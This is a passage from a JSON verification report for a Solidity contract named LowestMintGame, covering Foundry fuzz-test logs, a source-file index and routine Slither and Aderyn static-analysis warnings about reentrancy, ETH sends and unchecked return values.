|\n╰-------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 193854\n  Bound result 1000\n  Bound result 100\n  Bound result 2\n  Bound result 4337\n  Bound result 86400\n  Bound result 1\n  Bound result 714268139627856\n  Bound result 2\n  Bound result 200\n  Bound result 6\n  Bound result 189748451\n  Bound result 2\n  Bound result 1000001\n  Bound result 3\n  Bound result 32768\n  Bound result 5\n  Bound result 19\n  Bound result 522\n  Bound result 2\n  Bound result 8034\n  Bound result 10\n  Bound result 196095\n  Bound result 906\n  Bound result 5\n  Bound result 1617\n  Bound result 8\n  Bound result 308800\n  Bound result 588067041622227031669367\n  Bound result 1\n  Bound result 254\n  Bound result 27989566658842310\n  Bound result 2\n  Bound result 20000000000000000\n  Bound result 3\n  Bound result 23856061402\n  Bound result 1\n  Bound result 3895\n  Bound result 1332\n  Bound result 3\n  Bound result 9599\n  Bound result 87061\n  Bound result 999999999999999999999987\n  Bound result 4\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.45s (5.45s CPU time)\n\nRan 4 test suites in 5.45s (6.01s CPU time): 60 tests passed, 0 failed, 0 skipped (60 total tests)\n","passed":true},{"durationMs":51,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"LowestMintGame.acceptOwnership()\",\"LowestMintGame.claimRewards(address)\",\"LowestMintGame.configurePool((address,address,uint24,int24,address),uint256)\",\"LowestMintGame.finalize()\",\"LowestMintGame.mint()\",\"LowestMintGame.mint(uint256,uint256)\",\"LowestMintGame.receive()\",\"LowestMintGame.renounceOwnership()\",\"LowestMintGame.transferOwnership(address)\",\"LowestMintGame.unlockCallback(bytes)\"],\"files\":{\".gitignore\":4,\"DEPENDENCIES.md\":37,\"LICENSE\":23,\"README.md\":222,\"docs/SECURITY.md\":85,\"docs/VALIDATION.md\":47,\"foundry.toml\":21,\"remappings.txt\":4,\"src/LowestMintGame.sol\":275,\"test/AccountingInvariant.t.sol\":167,\"test/LaunchCompatibility.t.sol\":33,\"test/LowestMintGame.t.sol\":576,\"test/UniswapV4Integration.t.sol\":247,\"test/helpers/GameFixture.sol\":67,\"test/helpers/LiquiditySeeder.sol\":49,\"test/helpers/Mocks.sol\":191,\"test/helpers/SwapHook.sol\":60},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":1520,"exitCode":0,"name":"slither","output":"[high/medium] arbitrary-send-eth at src/LowestMintGame.sol:237: LowestMintGame._finalize() (src/LowestMintGame.sol#237-256) sends eth to arbitrary user\n[high/medium] reentrancy-balance at src/LowestMintGame.sol:197: Reentrancy in LowestMintGame.unlockCallback(bytes) (src/LowestMintGame.sol#197-227):\n[medium/high] incorrect-equality at src/LowestMintGame.sol:158: LowestMintGame._mint(uint256,uint256) (src/LowestMintGame.sol#158-194) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/LowestMintGame.sol:158: Reentrancy in LowestMintGame._mint(uint256,uint256) (src/LowestMintGame.sol#158-194):\n[medium/medium] unused-return at src/LowestMintGame.sol:158: LowestMintGame._mint(uint256,uint256) (src/LowestMintGame.sol#158-194) ignores return value by poolManager.unlock() (src/LowestMintGame.sol#170)\n[medium/medium] unused-return at src/LowestMintGame.sol:108: LowestMintGame.configurePool(PoolKey,uint256) (src/LowestMintGame.sol#108-138) ignores return value by (sqrtPriceX96,None,None,None) = poolManager.getSlot0(key.toId()) (src/LowestMintGame.sol#124)\n[low/medium] reentrancy-benign at src/LowestMintGame.sol:237: Reentrancy in LowestMintGame._finalize() (src/LowestMintGame.sol#237-256):\n[low/medium] reentrancy-benign at src/LowestMintGame.sol:197: Reentrancy in LowestMintGame.unlockCallback(bytes) (src/LowestMintGame.sol#197-227):\n[low/medium] reentrancy-benign at src/LowestMintGame.sol:158: Reentrancy in LowestMintGame._mint(uint256,uint256) (src/LowestMintGame.sol#158-194):\n[low/medium] reentrancy-benign at src/LowestMintGame.sol:158: Reentrancy in LowestMintGame._mint(uint256,uint256) (src/LowestMintGame.sol#158-194):\n[low/medium] return-bomb at src/LowestMintGame.sol:237: LowestMintGame._finalize() (src/LowestMintGame.sol#237-256) tries to limit the gas of an external call that controls implicit decoding\n[low/medium] timestamp at src/LowestMintGame.sol:230: LowestMintGame.finalize() (src/LowestMintGame.sol#230-235) uses timestamp for comparisons\n[low/medium] timestamp at src/LowestMintGame.sol:158: LowestMintGame._mint(uint256,uint256) (src/LowestMintGame.sol#158-194) uses timestamp for comparisons","passed":true},{"durationMs":506,"exitCode":0,"name":"aderyn","output":"[high] eth-send-unchecked-address at src/LowestMintGame.sol:230: ETH transferred without address checks\n[high] reentrancy-state-change at src/LowestMintGame.sol:204: Reentrancy: State change after external call (6 places)\n[low] centralization-risk at src/LowestMintGame.sol:22: Centralization Risk (2 places)\n[low] large-numeric-literal at src/LowestMintGame.sol:30: Large Numeric Literal (2 places)\n[low] non-reentrant-not-first at src/LowestMintGame.sol:108: `nonReentrant` is Not the First Modifier\n[low] state-change-without-event at src/LowestMintGame.sol:197: State Change Without Event\n[low] unchecked-return at src/LowestMintGame.sol:170: Unchecked Return","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"95ebac5fa1b866cedabdb735956e97753352cd25f46971c56ccb8bde297380e8","verifiedTreeHash":"9635c00278ca187b14b62c1437b91741694018c3","verifierVersion":"0.1.0+8f703f9f"}]}